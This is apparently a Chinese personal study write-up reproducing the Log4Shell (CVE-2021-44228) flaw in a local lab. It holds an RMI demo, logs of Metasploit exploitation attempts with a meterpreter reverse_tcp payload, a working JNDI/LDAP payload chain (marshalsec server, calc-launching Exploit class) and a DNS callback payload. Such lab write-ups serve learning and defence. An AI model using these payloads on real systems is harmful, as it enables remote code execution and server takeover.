前言】

因为之前面试中问道了,以为自己清除理解了log4j漏洞,没想到一问之后问蒙了,知识的输入往往一知半解,需要深入理解之后才能完全明白。

经典漏洞都是类似,都会反复提到,你不会的话就只能反复被鞭尸,跟群友也没办法辩驳

防止露怯,赶紧学一下

Log4j2安全远程漏洞,又称“Log4Shell”,漏洞编号CVE-2021-44228,总结来说就是一个非常简单的JNDI注入漏洞。说白了是log4j2的特性,Log4J在扩展占位符时在记录消息时候(或间接作为格式化消息的参数)执行JNDI lookup()操作。在默认配置中,JNDI支持两种协议:RMI和LDAP。在这两种情况下,lookup()的调用实际上是为了返回一个Java对象。这通常为序列化的Java对象,但是还有一个通过于间接构造的JNDI引用。这个对象和引用字节码可以通过远程URL加载代(java类.class)。

Apache Log4j2 是一款开源的 Java 日志记录工具,大量的业务框架都使用了该组件。此次漏洞是用于 Log4j2 提供的 lookup 功能造成的,该功能允许开发者通过一些协议去读取相应环境中的配置。但在实现的过程中,并未对输入进行严格的判断,从而造成漏洞的发生。

受影响版本

2.x<=2.14.1

Log4j2

Log4j2是Apache的一个开源项目,通过使用Log4j2,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

JNDI

JNDI,全称Java Naming and Directory Interface(Java命名和目录接口) 是Java中引入一种Java API,它允许客户端通过名称发现查找和共享Java数据和对象。这些对象可以存储在不同的命名或目录中,例如远程方法调用(RMI)、通用对象请求代理架构(CORBA)、轻量级目录访问协议(LDAP)或域名服务(DNS)等。

基于JNDI的这种特性,如果他接收的参数,来源于攻击者恶意构造的,则就会有远程代码记载和执行。

JNDI内置的目录服务:

RMI:Java Remote Method Invocation,Java远程方法调用

LDAP:轻量级目录访问协议

CORBA:Common Object Request Broker Architecture 通用对象请求代理架构,用于COS名称服务(Common Object Services)

DNS服务

rmi

RMI协议全称为Remote Method Invocation (远程方法调用)协议

一个RMI由三部分组成:

RMI Registry

RMI Server

RMI Client

RMIServer (我的理解是这个是攻击的服务端,可以进行恶意执行在client端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package rmi2;

import java.rmi.Naming;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.server.UnicastRemoteObject;

public class RMIServer {
public interface IRemoteHelloWorld extends Remote{
public String hello() throws RemoteException;
}
public class RemoteHelloWorld extends UnicastRemoteObject implements IRemoteHelloWorld{


protected RemoteHelloWorld() throws RemoteException {
super();
}

@Override
public String hello() throws RemoteException {
System.out.println("call from");
return "Hello World";
}
}


private void start() throws Exception{
RemoteHelloWorld h = new RemoteHelloWorld();
//创建Registry并绑定
LocateRegistry.createRegistry(1099);
Naming.rebind("rmi://127.0.0.1:1099/Hello",h);
}

public static void main(String[] args) throws Exception {
new RMIServer().start();
}
}

服务端启动后运行main方法,等待客户端连接

RMIClient(我的理解可以属于被害端,如果可以构造lookup执行的协议就可以任意执行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package rmi2;


import java.rmi.Naming;

public class RMIClient {
public static void main(String[] args) throws Exception {
RMIServer.IRemoteHelloWorld hello = (RMIServer.IRemoteHelloWorld)
Naming.lookup("rmi://192.168.1.2:1099/Hello");
String ret = hello.hello();
System.out.println(ret);
}
}

ip是本地ipconfig查询ipv4地址

执行client main方法

执行结果(RMIClient

1
2
3
\Hello World

进程已结束,退出代码0

执行结果(RMIServer

1
call from

nmap检测rmi(kali

1
2
3
4
5
6
7
8
9
10
11
12
nmap 192.168.1.2
└─# nmap 192.168.1.2
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-01 02:49 EST
Nmap scan report for 192.168.1.2
Host is up (0.00030s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE
**1099/tcp open rmiregistry**
3306/tcp open mysql
MAC Address: 4C:79:6E:D7:37:AA (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 4.14 seconds

nmap检测脚本是否存在(kali

1
2
3
4
5
6
7
8
9
10
11
12
13
nmap –script=rmi-vuln-classloader -p 1099 192.168.1.2

└─# nmap –script=rmi-vuln-classloader -p 1099 192.168.1.2 255 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-01 02:46 EST
Failed to resolve "–script=rmi-vuln-classloader".
Nmap scan report for 192.168.1.2
Host is up (0.00024s latency).

PORT STATE SERVICE
**1099/tcp open rmiregistry**
MAC Address: 4C:79:6E:D7:37:AA (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

msf漏洞扫描

kali

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
msfconsole
搜索java_rmi
msf6 > search java_rmi

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/gather/java_rmi_registry normal No Java RMI Registry Interfaces Enumeration
1 auxiliary/scanner/misc/java_rmi_server 2011-10-15 normal No Java RMI Server Insecure Endpoint Code Execution Scanner
2 exploit/multi/browser/java_rmi_connection_impl 2010-03-31 excellent No Java RMIConnectionImpl Deserialization Privilege Escalation
3 exploit/multi/misc/java_rmi_server 2011-10-15 excellent Yes Java RMI Server Insecure Default Configuration Java Code Execution


Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/misc/java_rmi_server
使用扫描模块
msf6 > use auxiliary/scanner/misc/java_rmi_server
显示选项
msf6 auxiliary(scanner/misc/java_rmi_server) > show options

Module options (auxiliary/scanner/misc/java_rmi_server):

Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1099 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)

设置RHOSTS
msf6 auxiliary(scanner/misc/java_rmi_server) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
设置端口
msf6 auxiliary(scanner/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
启动
msf6 auxiliary(scanner/misc/java_rmi_server) > run

[*] 192.168.1.2:1099 - 192.168.1.2:1099 Java RMI Endpoint Detected: Class Loader Disabled
[*] 192.168.1.2:1099 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/misc/java_rmi_server) >

msf漏洞利用

https://zhuanlan.zhihu.com/p/53596025

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
漏洞利用模块
msf6 exploit(multi/misc/java_rmi_server) > use exploit/multi/misc/java_rmi_server
[*] Using configured payload java/meterpreter/reverse_tcp
查看选项
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS 192.168.1.173 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 4444 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.173 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Generic (Java Payload)

设置RHOSTS和RPORT
msf6 exploit(multi/misc/java_rmi_server) > set RHOSTS 192.168.1.2
RHOSTS => 192.168.1.2
msf6 exploit(multi/misc/java_rmi_server) > set RPORT 1099
RPORT => 1099
设置payload进行反向TCP shell连接
msf6 exploit(multi/misc/java_rmi_server) > set payload /java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
显示选项
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.173 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Generic (Java Payload)

设置LHOSTS LPORT
msf6 exploit(multi/misc/java_rmi_server) > set LHOSTS 192.168.1.173
LHOSTS => 192.168.1.173
msf6 exploit(multi/misc/java_rmi_server) > set LPORT 4444
LPORT => 4444
启动
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.1.173:4444
[*] 192.168.1.2:1099 - Using URL: http://0.0.0.0:8080/4OnBVPSoz5Gaa
[*] 192.168.1.2:1099 - Local IP: http://192.168.1.173:8080/4OnBVPSoz5Gaa
[*] 192.168.1.2:1099 - Server started.
[*] 192.168.1.2:1099 - Sending RMI Header...
[*] 192.168.1.2:1099 - Sending RMI Call...
[-] 192.168.1.2:1099 - Exploit failed [not-vulnerable]: RuntimeError Exploit aborted due to failure not-vulnerable The RMI class loader is disabled
[*] 192.168.1.2:1099 - Server stopped.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

Name Current Setting Required Description
---- --------------- -------- -----------
HTTPDELAY 10 yes Time that the HTTP Server will wait for the payload request
RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 1099 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.173 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port


Exploit target:

Id Name
-- ----
0 Generic (Java Payload)

查看会话 我的这里不知道为什么连接不上
msf6 exploit(multi/misc/java_rmi_server) > session -i
[-] Unknown command: session.
建立会话连接之后,我们就可以使用sysinfo,shell和getuid等命令了,如图:
sessions -i 1
sysinfo

Log4j2 复现

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

说明:之前一直复现不成功然后翻文章找到大佬写的项目然后用项目就复现成功了,记录下

影响版本:Apache Log4j 2.x<=2.15.0.rc1

jdk1.8.191以上默认不支持ldap协议,建议下个低版本的jdk

java版本:1.8.0_121

下载链接选择Java SE Development Kit 8u121

(重新下载安装新的jdk需要重新设置环境变量

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

更多java历史版本:

https://www.oracle.com/java/technologies/downloads/archive/

1
2
3
4
PS C:\Users\tea90> java -version
java version "1.8.0_121"
Java(TM) SE Runtime Environment (build 1.8.0_121-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.121-b13, mixed mode)

maven版本:3.8.5

1
2
3
4
5
6
PS C:\Users\tea90> mvn -version
Apache Maven 3.8.5 (3599d3414f046de2324203b78ddcf9b5e4388aa0)
Maven home: C:\Users\tea90\Documents\tea\tools\apache-maven-3.8.5-bin\apache-maven-3.8.5
Java version: 1.8.0_121, vendor: Oracle Corporation, runtime: C:\Program Files\Java\jdk1.8.0_121\jre
Default locale: zh_CN, platform encoding: GBK
OS name: "windows 10", version: "10.0", arch: "amd64", family: "windows"

log4j版本

pom.xml

1
2
3
4
5
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

攻击类(就是弹个计算器然后兼容了各个系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Exploit {
public Exploit() {}
static {
try {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe","/c", "calc.exe"}
: new String[]{"open","/System/Applications/Calculator.app"};
java.lang.Runtime.getRuntime().exec(cmds).waitFor();
}catch (Exception e){
e.printStackTrace();
}
}
public static void main(String[] args) {
Exploit e = new Exploit();
}
}

受害类(执行exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
//The default trusturlcodebase of the higher version JDK is false
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}
}

编译exp类(会生成Exploit.class

1
javac .\Exploit.java

启动一个服务

1
2
python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...

测试启动服务(需要新开一个命令行

1
2
3
4
5
6
7
curl -I 127.0.0.1:8888/Exploit.class
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.6.3
Date: Thu, 02 Mar 2023 03:53:17 GMT
Content-type: application/octet-stream
Content-Length: 1035
Last-Modified: Thu, 02 Mar 2023 03:50:39 GMT

需要一个工具运行LDAP 服务器实现返回 JNDI 引用

工具源地址(需要编译因为我不会编译就直接找的jar包,应该是之前大佬发的,使用工具可以自行编译下 mvn clean package

https://github.com/mbechler/marshalsec/blob/master/src/main/java/marshalsec/jndi/LDAPRefServer.java

生成marshalsec-0.0.3-SNAPSHOT-all.jar然后执行 返回JNDI引用(然后不太清楚1389的端口是哪里来的就直接用就好了,见受害类

1
2
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"
Listening on 0.0.0.0:1389

然后激动人心的时刻了,运行受害类

先打包(会在项目跟目录target文件夹生成log4j-rce-1.0-SNAPSHOT-all.jar包

1
PS C:\Users\tea90\Downloads\CVE-2021-44228-Apache-Log4j-Rce-main> mvn clean package

然后执行jar包

1
2
 java -cp target/log4j-rce-1.0-SNAPSHOT-all.jar log4j
11:41:35.712 [main] ERROR log4j - ${jndi:ldap://127.0.0.1:1389/Exploit}

成功弹出计算器

dns payload

1
${jndi:ldap://12345.p7yc0x.ceye.io:1389/aaa}

maven打包打完整类

pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.19.1</version>
</plugin>
<plugin>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<finalName>${project.artifactId}-${project.version}-all</finalName>
<appendAssemblyId>false</appendAssemblyId>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assembly</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>

原理

在我浅薄的看来,log4支持lookup,日志中包含${}lookup功能就会将表达式的内容替换为表达式解析的内容,而不是表达式本身,然后他解析他就会执行啊,那你传命令他也就会执行,然后就可以利用这点传输一些反弹shell啥的就可以控制服务器了。

常见的解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
${ctx:loginId}
${map:type}
${filename}
${date:MM-dd-yyyy}
${docker:containerId}${docker:containerName}
${docker:imageName}
${env:USER}
${event:Marker}
${mdc:UserId}
${java}
${jndi:logging/context-name}
${hostName}
${docker:containerId}
${k8s}
${log4j}
${main}
${name}
${marker}
${spring}
${sys:logPath}
${web:rootDir}

然后jndi是一个目录系统接口,简单来说就是可以直接访问文件,然后利用jndi这个解析可以把一些恶意代码类传输给打印日志的方法进行执行。

${jndi:ldap://127.0.0.1:1389/Exploit}

${}是告诉log4j要用lookup解析执行

jndi:ldap是传输一个类让他执行

为什么说log4j这个漏洞影响大是因为很多中间件(Spring-Boot-strater-log4j2\Apache Struts2\Apache Solr\Apache Flink\Apache Druid\ElasticSearch\Flume\DubboRedis\Logstash\Kafka包括不限于)打印日志都是用的这个,其次就是利用方式很简单,也没有过多苛刻的条件。

https://mp.weixin.qq.com/s/LifR0gbTcERU4Uvicc4LOw

https://xy2401.com/local-docs/oracle/java.zh/tutorial/rmi/running.html

https://mp.weixin.qq.com/s/hlMbRl5EEtBe0-d3xvwyXg

https://mp.weixin.qq.com/s/4cvooT4tfQhjL7t4GFzYFQ